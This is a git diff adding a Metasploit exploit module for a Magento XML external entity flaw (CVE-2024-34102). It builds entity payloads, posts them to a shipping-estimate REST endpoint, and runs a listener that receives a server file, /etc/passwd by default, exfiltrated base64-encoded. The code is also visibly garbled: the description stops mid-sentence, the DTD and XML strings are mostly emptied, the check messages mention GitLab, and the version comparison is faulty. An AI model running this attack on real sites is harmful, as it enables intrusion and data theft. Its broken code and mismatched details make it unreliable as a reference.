diff --git a/modules/exploits/multi/http/magento_xxe_cve_2024_34102.rb b/modules/exploits/multi/http/magento_xxe_cve_2024_34102.rb new file mode 100644 index 0000000000..5a369b9f0b --- /dev/null +++ b/modules/exploits/multi/http/magento_xxe_cve_2024_34102.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Magento XXE Unserialize Remote Code Execution', + 'Description' => %q{ + This module exploits an XXE vulnerability in Magento 2.3.4-p2 and below which allows + }, + 'Platform' => 'php', + 'License' => MSF_LICENSE, + 'Author' => + [ ' Sergey Temnikov '], + 'Payload' => + {}, + 'References' => + [ 'CVE', '2024-34102', + 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md' + ], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic Targeting', { 'auto' => true } ], + ], + 'DisclosureDate' => '2024-07-28', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]), + OptString.new('FILE', [ true, "The file to read", "/etc/passwd"]), + ]) + end + + + def check + vprint_status('Trying to get the GitLab version') + + # request to check if the target is vulnerable /magento_version + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/magento_version'), + }) + + # binding.pry + + return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200 + # Magento/2.4 (Community) + version, edition = res.body.scan(/Magento\/([\d.]+) \(([^)]+)\)/).first + + + return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless ( + version <= (Rex::Version.new('2.4.7')) || + version <= (Rex::Version.new('2.4.6-p5')) || + version <= (Rex::Version.new('2.4.5-p7')) || + version <= (Rex::Version.new('2.4.4-p8')) || + version <= (Rex::Version.new('2.4.3-ext-7')) || + version <= (Rex::Version.new('2.4.2-ext-7')) + + ) + + CheckCode::Vulnerable("Detected Magento #{edition} edition version #{version} which is vulnerable") + + end + + def ent_eval + @ent_eval ||= rand_text_alpha_lower(4..8) + end + + def leak_param_name + @leak_param_name ||= rand_text_alpha_lower(4..8) + end + + def dtd_param_name + @dtd_param_name ||= rand_text_alpha_lower(4..8) + end + + def make_xxe_dtd + ent_file = rand_text_alpha_lower(4..8) + %Q| + + "> + | + end + + def xxe_xml_data + + param_entity_name = rand_text_alpha_lower(4..8) + + xml = "" + xml += "" + xml += " %#{param_entity_name}; %#{dtd_param_name}; " + xml += "]" + xml += "> &#{ent_eval};" + + xml + end + + def xxe_request + post_data = <<~EOF + { + "address": { + "totalsCollector": { + "collectorList": { + "totalCollector": { + "sourceData": { + "data": "#{xxe_xml_data}", + "options": 12345678 + } + } + } + } + } + } + EOF + + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'), + 'ctype' => 'application/json', + 'data' => post_data, + }) + + return true if (res && res.body.include?('[]')) + + false + end + + def exploit + + start_service({ + 'Uri' => { + 'Proc' => proc do |cli, req| + on_request_uri(cli, req) + end, + 'Path' => '/' + } + }) + xxe_request + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) + end + + def on_request_uri(cli, req) + super + data = '' + # vprint_status("Received request for #{req.uri}") + case req.uri + when /(.*).dtd/ + data = make_xxe_dtd + when /#{leak_param_name}/ + data = req.uri_parts['QueryString'].values.first + print_good("Received file #{datastore['FILE']} content") + puts(Base64.decode64(data)) + end + + send_response(cli, data) + end + + end \ No newline at end of file